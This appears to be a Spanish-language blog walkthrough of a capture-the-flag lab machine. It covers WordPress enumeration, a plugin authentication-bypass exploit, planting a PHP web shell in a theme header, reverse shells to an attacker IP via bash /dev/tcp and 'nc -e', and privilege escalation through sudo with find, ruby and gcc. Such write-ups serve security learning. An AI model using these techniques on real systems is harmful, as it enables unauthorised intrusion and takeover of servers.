Una máquina de nivel fácil a intermedio, está máquina esta orientada a la explotación de aplicación web, enumeración y escalada de privilegio.
Como primer paso con la herramienta NetDiscover realizaré un reconocimiento de red, para identificar la máquina objetivo.
Como se muestra en la imagen anterior la dirección IP 192.168.50.158 pertenece a nuestra máquina objetivo.
Al cargar la dirección IP 192.168.50.158 en nuestro navegador web se muestra la página web index de apache en ella se muestra información sensible.
Al cargar la ruta en el navegador web 192.168.50.158/g@web se nos muestra el siguiente contenido.
Con la herramienta whatweb intentaré de obtener mayor información del sitio web.
Como se muestra en la imagen anterior el sitio web utiliza WordPress 5.3.17 para desplegar el sitio web.
Con esta información utilizaré la herramienta wpscan para escanear y obtener más información del sitio web.
La herramienta wpscan enumero un usuario wp-local y también enumero un plugin llamado wp-support-plus-responsive-ticket-system.
Buscare con la herramienta searchsploit alguna vulnerabilidad conocida para el plugin wp-support-plus-responsive-ticket-system.
Hay vulnerabilidades conocidas para el plugin, de momento dejaremos de lado esto para explorar el directorio wp-json/wp/v2/users.
Nota: En junio de 2013, surge como proyecto por parte de Ryan McCue y Rachel Baker de WordPress, distribuir una API REST para WordPress, el proyecto fue publicado en GitHub. En diciembre de 2015 el proyecto se agregó al núcleo de WordPress.
Al analizar el archivo hay un mensaje que no indica “¡¡Puedes actualizar tu shell usando hackNos@9012!!”
Con esta información comencemos a probar los exploit encontrados anteriormente, para este caso probare el exploit para escalar privilegios.
En la descripción del exploit indica que, puedes loguearte con cualquier usuario sin conocer la contraseña debido al uso incorrecto de wp_set_auth_cookie().
Lo primero que haré es crear un archivo llamado index.html, copiaré el código html desde la etiqueta <form></form> modificando algunos parámetros, como se muestra en la siguiente imagen.
Los datos a modificar se encuentran marcado con un rectángulo de color rojo, el primer parámetro a modificar es el atributo action del formulario y el segundo parámetro es el atributo value en el debemos poner el nombre de usuario que enumeramos con la herramienta wpscan.
Lo segundo que debemos hacer es levantar un servidor web en nuestra máquina atacante, en mi caso utilizaré el módulo http.server de Python.
Desde nuestro navegador web ingresamos a localhost o a la dirección IP 127.0.0.1 se nos muestra nuestro formulario web.
Como se muestra en la imagen anterior accedimos al panel de administración de WordPress para el usuario wp-local. Ahora debemos saber que permisos tiene el usuario wp-local.
Como se muestra en la imagen anterior el usuario wp-local tiene un rol asignado de administrador. Este rol nos permite editar los template que se están ejecutando en WordPress.
Cabe mencionar, que WordPress es un CMS (Content Management System) Sistema de Gestión de Contenidos y está programado en el lenguaje de programación PHP. Por lo tanto, con los permisos de administración del usuario wp-local, podemos editar el template (plantilla) que se está ejecutando actualmente en WorPress para ganar acceso a la máquina.
Para editar la plantilla debemos ingresar al menú "Appearance - Theme Editor".
En mi caso seleccionaré la edición de "header" del template.
Ingresaré el siguiente código “echo(system($_GET['cmd']));” entre las etiquetas <?php y ?>, para ejecutar comandos en el servidor, como se muestra en la siguiente imagen.
Una vez agregado el código anterior guardamos los cambios haciendo clic en el botón “Update File” en la parte inferior de la página. Si todo va bien se nos mostrará un mensaje “File edited successfully.”.
Ahora debemos probar nuestro código para ejecutar comandos, ingresando el siguiente comando en nuestro navegador web “192.168.50.158/g@web/?cmd=ls -l”.
Nuestro código funciona, ahora necesitamos tener un mayor acceso al servidor web.
Para poder tener este acceso al servidor aprovechando nuestro código que nos permite ejecutar comandos en el servidor, ejecutaremos el siguiente comando en el lado del servidor bash -c “bash -i > & /dev/tcp/192.168.50.35/443 0> & 1”, por el lado de la máquina atacante ejecutaré la herramienta netcat con el siguiente comando nc -lnvp 443.
En nuestra máquina deberíamos recibir una conexión reversa, es decir, una conexión desde el servidor a nuestro máquina atacante.
Como se muestra en la imagen no se recibió ninguna conexión desde el servidor, probablemente se esté ejecutando en el servidor un firewall.
Comprobaré si está instalada la herramienta netcat en el servidor web, ejecutaré el siguiente comando de Linux para saber si la herramienta está instalada “which nc”.
Como se muestra en la imagen la herramienta nc en el servidor web se encuentra instalada, por lo tanto, ejecutaré el siguiente comando nc -e /bin/bash 192.168.50.35 443 en el navegador web.
Como se muestra en la imagen anterior recibimos una conexión desde el servidor a nuestra máquina atacante.
Ahora lo que haré será listar los usuarios que tengan asignada un bash.
En la imagen anterior se muestra que hay 4 usuarios que tienen asignado una bash. Ahora lo que haré será probar hackNos@9012!!, como password para cada usuario.
Como se muestra en la imagen anterior podemos ejecutar el comando de Linux "find" como el usuario hacknos-boat (nota: el nombre de usuario es hackNos-boat, “N” mayúscula).
Por lo tanto, podríamos ejecutar el siguiente comando “sudo -u hackNos find . -exec /bin/bash \; quit”. Cabe mencionar, que el comando find nos permite ejecutar comandos.
Como se muestra en la imagen anterior ahora somos el usuario hackNos-boat, revisaré los permisos del usuario hackNos-boat.
Ahora podemos ejecutar Ruby como el usuario hunter. Por lo tanto, podemos ejecutar el siguiente comando "sudo -u hunter ruby -e ‘exec "/bin/bash"’". Con el comando anterior obtendremos una bash como el usuario hunter.
Nuevamente revisaré los permisos para el usuario hunter.
Como se muestra en la imagen anterior el usuario hunter puede ejecutar el compilador gcc como cualquier usuario del sistema (ALL), por lo tanto, podría ejecutar el comando gcc para obtener una bash como el usuario root.


















![“echo(system($_GET['cmd']));”](https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiPTYVIhJSIRe9YYdOmExh_hL3DN_z7y_cneCAPrF3-ZGUvoEfF0d282RLRxlw5pnqDuod08GOl4_K6vQKH6cEPC0C0Rbh9Q6-8j_GJ6zn0VSEtycvesOb-ZKa7Fm9MG9Z2nhH-SghS1swXNppJ6d3Kd7tjZvdwPcRJg3LQV659cKx6FfP3IAao1x4jk32Y/w640-h340/edicion_header_php.png)

















Comentarios
Publicar un comentario